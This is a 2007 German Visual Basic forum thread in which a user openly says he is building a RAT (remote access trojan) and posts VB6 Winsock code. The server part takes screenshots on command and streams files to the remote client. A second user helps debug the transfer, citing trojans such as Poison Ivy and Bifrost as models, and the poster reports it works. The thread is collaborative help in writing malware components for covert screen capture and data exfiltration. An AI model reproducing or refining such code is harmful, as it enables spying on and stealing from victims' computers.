Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
Hamtaro_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 06.05.2007
Beiträge: 217
Wohnort: NRW

Problem beim Senden von Binärdateien..
Verfasst am: 07.05.2007, 19:54

Hi, Leutz, folgende frage:
Ich möchte für meinen RAT natürlich auch die möglichkeit zum transfer von binären Daten, sprich dateien, hinzufügen. hab dazu auch was tolles gefunden:

Über den gleichen socket sollen aber auch die anderen Kommandos des RAT geschickt werden...Das Problem ist aber, die Datei ist genau 8 * 1024 Byte zu groß (bei Blockgröße 1024) und der Anfang scheint zu fehlen.
ERstmal der Server:

[code]
Winsock1_Dataarrival() 'handgeschrieben, also evtl syntaxfehler

winsock1.Getdata sdata,vbstring ' handgeschrieben, also evtl syntaxfehler

Select case Mid(sdata,5) ' die ersten4 Zeichen bilden immer das jeweilige Kommando
'........man will ja nich alles verrraten Wink

Case "wtf?" ' nur ein beispiel
MsgBox "WAS WEISS ICH?"
Case "SCRN"
Call GetImage ' das ist die Screnshotfunktion
DoEvents
Winsock1.SendData "SCR§" & FileLen(Environ("WINDIR") & "\logo.sys")
' da wird erstmal die Dateigröße geschickt
DoEvents

'hier habe ich teilw. den code von der oben genannten website c&p
Dim F As Integer
Dim sBuffer As String
Dim nFileSize As Long
Dim nFilePos As Long
Dim nBytesToRead As Long
Dim sFile As String
sFile = Environ("WINDIR") & "\logo.sys" ' name der Datei
' Größe der einzelnen Datenpakete
Const BlockSize = 5120

' Datei im Binary-Mode öffnen
F = FreeFile
Open sFile For Binary As #F

' Dateiname extrahieren
If InStr(sFile, "\") > 0 Then
sFile = Mid$(sFile, InStrRev(sFile, "\") + 1)
End If

' Dateigröße
With Winsock1
nFileSize = LOF(F)
Do While nFilePos < nFileSize
nBytesToRead = BlockSize
If nFilePos + nBytesToRead > nFileSize Then
nBytesToRead = nFileSize - nFilePos
End If

' Datenblock lesen
sBuffer = Space$(nBytesToRead)
Get #F, , sBuffer

' Datenblock senden
.SendData sBuffer

' Fortschritt aktualisieren
nFilePos = nFilePos + nBytesToRead

' Wichtig!
DoEvents
Loop
End With[/code]
So.wie gesagt, dass habe ich zum Teil C&Pt

Jetzt zum Client
[code]
Winsock1_Dataarrival() 'handgeschrieben, also evtl syntaxfehler

winsock1.Getdata sdata,vbstring ' handgeschrieben, also evtl syntaxfehler

Select case Mid(sdata,5) ' die ersten4 Zeichen bilden immer das jeweilige Kommando
case else
If Waiting4screen = True And filesize <> "" Then ' wenn überhaubt uf einen Screns
'sho gewartet wird und auch eine Dateigrösse übertragen wurde


If u = False Then 'dann erster durchlauf

Frei = FreeFile
Kill App.Path & "\screen.bmp"
' falls datei schon vorhanden[fehlende fehlerbehandlung]

Open App.Path & "\screen.bmp" For Binary As #Frei 'zum schreiben öffnen
Else
If Len(sdata) > 0 And Frei > 0 Then 'falls was übertragen wurde


bytesuntilnow = bytesuntilnow + Len(sdata)
' die anzahl derschon empfangenen Daten

' Daten in Datei speichern
' MsgBox bytesuntilnow & vbCrLf & filesize
' das hab ich zum debuggen gemacht ^

Put #Frei, , sdata ' in die datei schreiben

If bytesuntilnow > filesize Then ' dann müssts ja eigtl. fertig sein

MsgBox "FERtig"
Close #Frei
End If

End If
u = True '
Else
With txtStatus ' das hat jetzt nix mit dem Binärtransfer zu tun, is nur dazu da
.SelStart = Len(.Text) ' das alle indifferenten Daten im Status ausgegeben werden
.SelText = sdata & vbCrLf
End With
End If[/code]
is leider ne ganze menge...
mfg
HamTaro
Wie findet ihr meine Sig?
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 07.05.2007, 21:36

1. Variante
Du müßtest eine If Abfrage einbauen, in der kontrolliert wird wieviel von der Datei zum senden noch übrig ist.

Da Blocksize eine feste Größe von 5120Bytes hat wird er auch soviel schicken egal ob er am Ende der Datei nur noch 100Bytes oder 2000Bytes schicken muß.

Also eine If Abfrage die das überprüft und gegebenenfalls an "nBytesToRead" eine andere Größe übergibt.

2. Variante
Du läßt einfach alles so wie es ist und fügst noch beim Empfänger etwas ein.
Der Empfänger sollte die Datei zuerst nur temporär erstellen und halt mal alle Daten reinschreiben.
Jetzt wäre es aber noch wichtig das der Sender ganz am Anfang auch die Größe der Datei, die übermittelt wird, zum Empfänger schickt.

Der Empfänger schreibt nun erstmal alle Daten in die Temporäre Datei und wenn die Übertragung erfolgreich war liest er aus der temporären Datei die exakte Dateilänge aus und erstellt die fertige Datei am richtigen Ort.

Das auslesen geht auch ganz einfach und schnell.
[code]
Open "C:\a.txt" for Binary as #1
Open "C:\b.txt" for Binary as #2

Dim buffer as string
buffer = Space$(filelen)
Get #1, buffer
Put #2, buffer

close
[/code]
In filelen sollte halt die exakte Dateilänge stehen.



Und noch was, wegen der übertragung von files und befehlen.
Bei den meisten Trojanern wie z.B. Posion Ivy, Shark, Bifrost usw. wird eigentlich alles per files versendet, also auch die Befehle.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)


Zuletzt bearbeitet von ZiG_ am 23.05.2007, 13:55, insgesamt einmal bearbeitet
 
Hamtaro_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 06.05.2007
Beiträge: 217
Wohnort: NRW


Verfasst am: 09.05.2007, 18:29

ZiG hat Folgendes geschrieben:
1. Variante
Du müßtest eine If Abfrage einbauen, in der kontrolliert wird wieviel von der Datei zum senden noch übrig ist.

Da Blocksize eine feste Größe von 5120Bytes hat wird er auch soviel schicken egal ob er am Ende der Datei nur noch 100Bytes oder 2000Bytes schicken muß.

Stimmt nicht, ist sehr wohl drin :

[code]nBytesToRead = BlockSize
If nFilePos + nBytesToRead > nFileSize Then
nBytesToRead = nFileSize - nFilePos
End If [/code]
Wenn die Position im file + die Blocksize grösser als die dateigröße ist wird nur der rest geschickt..
2.Variante probier ich mal aus....
Hat vllt. einer nen fertigen oder 1/2 fertigen source dazu?
Wie findet ihr meine Sig?
 
Hamtaro_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 06.05.2007
Beiträge: 217
Wohnort: NRW


Verfasst am: 10.05.2007, 20:58

ok, geht jetzt alles, nach der 2. methode funkts super! Very Happy
thx Idea
Wie findet ihr meine Sig?
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 10.05.2007, 21:27


Kein Problem.
Die erste Variante hatte ich ganz übersehen, dass das schon im Code drinnen ist.


Aber die zweite Möglichkeit finde ich, ist sowieso die bessere.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: senden, client, groß

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 983 09.06.2011, 13:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2612 06.03.2008, 21:19
Keine neuen Beiträge ListView speichern & laden 1331 05.08.2008, 13:32
Keine neuen Beiträge Registry & Co Fragen 1203 03.05.2007, 10:57
Keine neuen Beiträge Listbox speichern & laden 2271 22.03.2007, 21:25
 


[ Time: 0.2173s ][ Queries: 92 (0.1412s) ][ GZIP on - Debug on ]